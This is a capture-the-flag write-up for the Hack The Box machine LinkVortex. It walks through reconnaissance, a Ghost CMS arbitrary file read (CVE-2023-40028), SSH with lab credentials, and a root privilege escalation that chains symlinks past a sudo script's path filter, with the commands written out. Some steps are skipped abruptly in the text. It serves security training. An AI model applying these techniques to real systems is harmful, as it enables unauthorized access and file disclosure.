LinkVortex is an easy-difficulty machine from Hack The Box dealing initially with subdomain enumeration to reveal a hidden subdomain from which we will dump an exmposed .git directoy leading us to exfiltrate credentials, to later abusing CVE-2023-40028 which is a symlink file upload -> arbitrary file read which allows us to get new credentials to finally abuse a custom script that symlinks png files by chaining a couple of symlinks to be able to read the root flag. LinkVortex-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
PS C:\Users\0xkujen> nmap -A-Pn10.129.227.69 Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-1111:02 W. Central Africa Standard Time Nmap scan report for10.129.227.69 Host is up (0.11s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2563e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA) |_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519) 80/tcp open http Apache httpd |_http-title: Did not follow redirect to http://linkvortex.htb/ |_http-server-header: Apache Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in39.35 seconds
We can see that we have our typical ssh 22 port alongside a web application on port 80 thatβs redirecting us to http://linkvortex.htb/. So letβs go ahead and add that to our /etc/hosts file.
CVE-2023-40028 - Symlink file upload to arbitrary file read
From the dumper .git directory, we can check the Ghost CMS version:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
[core]
Β Β repositoryformatversion = 0
Β Β filemode = true
Β Β bare = false
Β Β logallrefupdates = true
[remote "origin"]
Β Β url = https://github.com/TryGhost/Ghost.git
Β Β fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
Looking for CVEs for this version we stumble upon CVE-2023-40028 which is a symlink file upload that leads to arbitrary file read, allowing us to read files from system.
# Wait for the db to be ready first COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh COPY entry.sh /entry.sh RUN chmod +x /var/lib/ghost/wait-for-it.sh RUN chmod +x /entry.sh
And we get some new credentials for user bob: bob:fibber-talented-worth.
We try those directly for ssh access and weβre in:
1 2 3 4 5
bob@linkvortex:~$ id uid=1001(bob) gid=1001(bob) groups=1001(bob) bob@linkvortex:~$ cat user.txt 126087d0d4376ec5c2c889be92695e37 bob@linkvortex:~$
Privilege Escalation - Symlink abuse
Looking at what bob can execute as sudo:
1 2 3 4 5 6 7
bob@linkvortex:~$ sudo -l Matching Defaults entries for bob on linkvortex: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
We can see that he can run the /opt/ghost/clean_symlink.sh script as root.
if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2 fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK) if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK$QUAR_DIR/ if$CHECK_CONTENT;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null fi fi fi
This script checks if the provided argument is a symbolic link to a .png file, and if the link points to a sensitive directory like /etc or /root, it deletes it; otherwise, it moves the link to a quarantine directory. Optionally, if CHECK_CONTENT is set to true, it displays the content of the quarantined file.
What we can do in this case is chain a couple of symlinks without triggering the check for etc and root by first symlinking /root/root.txt to /home/bob/kujen.txt and then linking /home/bob/kujen.txt to /home/bob/kujen.png and execute the script on it to read the root flag:
1 2 3 4 5 6 7
bob@linkvortex:~$ ln -s /root/root.txt /home/bob/kujen.txt bob@linkvortex:~$ ln -s /home/bob/kujen.txt /home/bob/kujen.png bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/kujen.png Link found [ /home/bob/kujen.png ] , moving it to quarantine Content: 83408dc875c41a3c60b0927b00b621bb bob@linkvortex:~$
And we got our root flag: 83408dc875c41a3c60b0927b00b621bb. That was it for LinkVortex! Hope you learned something new!